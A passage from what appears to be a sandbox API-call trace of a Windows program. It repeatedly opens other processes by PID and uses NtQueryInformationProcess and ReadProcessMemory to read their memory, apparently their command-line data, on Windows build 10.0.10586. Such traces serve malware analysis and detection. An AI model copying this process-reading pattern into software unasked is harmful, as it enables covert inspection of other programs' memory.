nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.065] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9030e8, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.066] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.068] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.068] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.068] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b902ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.068] malloc (_Size=0x64) returned 0x196ef0d03e0 [0256.068] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b903134, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0256.069] free (_Block=0x196ef0d03e0) [0256.070] CloseHandle (hObject=0x464) returned 1 [0256.071] _ui64tow_s (in: _Value=0x698, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1688") returned 0x0 [0256.076] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1688") returned 4 [0256.077] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.077] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.096] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x464 [0256.096] GetLastError () returned 0x0 [0256.097] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.097] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.097] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.097] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.097] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.099] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.101] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.101] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.101] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.101] malloc (_Size=0x5a) returned 0x196ef0d03e0 [0256.101] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03088, lpBuffer=0x196ef0d03e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0256.102] free (_Block=0x196ef0d03e0) [0256.103] CloseHandle (hObject=0x464) returned 1 [0256.104] _ui64tow_s (in: _Value=0x7e8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2024") returned 0x0 [0256.108] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2024") returned 4 [0256.110] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.110] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.131] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x464 [0256.131] GetLastError () returned 0x0 [0256.131] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.131] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.132] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.132] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.132] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a18e8, lpBuffer=0x670f7c2b0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.133] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.135] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.135] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.135] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a12d0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.136] malloc (_Size=0x32) returned 0x196ef0d1550 [0256.136] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1918, lpBuffer=0x196ef0d1550, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1550*, lpNumberOfBytesRead=0x0) returned 1 [0256.137] free (_Block=0x196ef0d1550) [0256.137] CloseHandle (hObject=0x464) returned 1 [0256.138] _ui64tow_s (in: _Value=0x2e0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="736") returned 0x0 [0256.144] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="736") returned 3 [0256.145] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.145] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.170] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2e0) returned 0x464 [0256.170] GetLastError () returned 0x0 [0256.171] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.172] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c31c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.172] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c318c8, lpBuffer=0x670f7c2b0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.174] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.176] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.176] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.177] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c312b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.177] malloc (_Size=0x6c) returned 0x196ef0d2120 [0256.177] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c3190c, lpBuffer=0x196ef0d2120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0256.178] free (_Block=0x196ef0d2120) [0256.179] CloseHandle (hObject=0x464) returned 1 [0256.180] _ui64tow_s (in: _Value=0x8d4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2260") returned 0x0 [0256.194] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2260") returned 4 [0256.197] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.197] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.221] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x464 [0256.221] GetLastError () returned 0x0 [0256.221] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.221] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.222] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.223] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303780, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.223] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c7983032e8, lpBuffer=0x670f7c2b0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.225] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.226] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.226] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.227] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798302c60, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.228] malloc (_Size=0x118) returned 0x196ef0d4e70 [0256.228] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303388, lpBuffer=0x196ef0d4e70, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0256.229] free (_Block=0x196ef0d4e70) [0256.230] CloseHandle (hObject=0x464) returned 1 [0256.231] _ui64tow_s (in: _Value=0x934, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2356") returned 0x0 [0256.236] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2356") returned 4 [0256.237] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.237] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.261] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x934) returned 0x464 [0256.261] GetLastError () returned 0x0 [0256.262] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.262] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.263] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.263] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e03730, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.264] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e032b4, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.266] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.268] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.268] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e02c20, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.270] malloc (_Size=0x11a) returned 0x196ef0d4e70 [0256.270] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e0334a, lpBuffer=0x196ef0d4e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0256.271] free (_Block=0x196ef0d4e70) [0256.272] CloseHandle (hObject=0x464) returned 1 [0256.273] _ui64tow_s (in: _Value=0x8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0256.280] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="8") returned 1 [0256.282] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.282] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.305] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0x464 [0256.305] GetLastError () returned 0x0 [0256.305] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.306] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.306] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.306] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.306] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b3030e8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.308] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.309] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b302ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.310] malloc (_Size=0x6a) returned 0x196ef0d2120 [0256.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303128, lpBuffer=0x196ef0d2120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0256.311] free (_Block=0x196ef0d2120) [0256.312] CloseHandle (hObject=0x464) returned 1 [0256.312] _ui64tow_s (in: _Value=0xae4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2788") returned 0x0 [0256.317] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2788") returned 4 [0256.319] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.319] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.479] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xae4) returned 0x464 [0256.479] GetLastError () returned 0x0 [0256.482] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61bd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.483] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61818, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.484] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.486] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.486] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.486] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.487] malloc (_Size=0x64) returned 0x196ef0d03e0 [0256.487] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61864, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0256.488] free (_Block=0x196ef0d03e0) [0256.489] CloseHandle (hObject=0x464) returned 1 [0256.489] _ui64tow_s (in: _Value=0xb40, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2880") returned 0x0 [0256.496] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2880") returned 4 [0256.498] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.498] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.521] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb40) returned 0x464 [0256.521] GetLastError () returned 0x0 [0256.522] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.522] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: 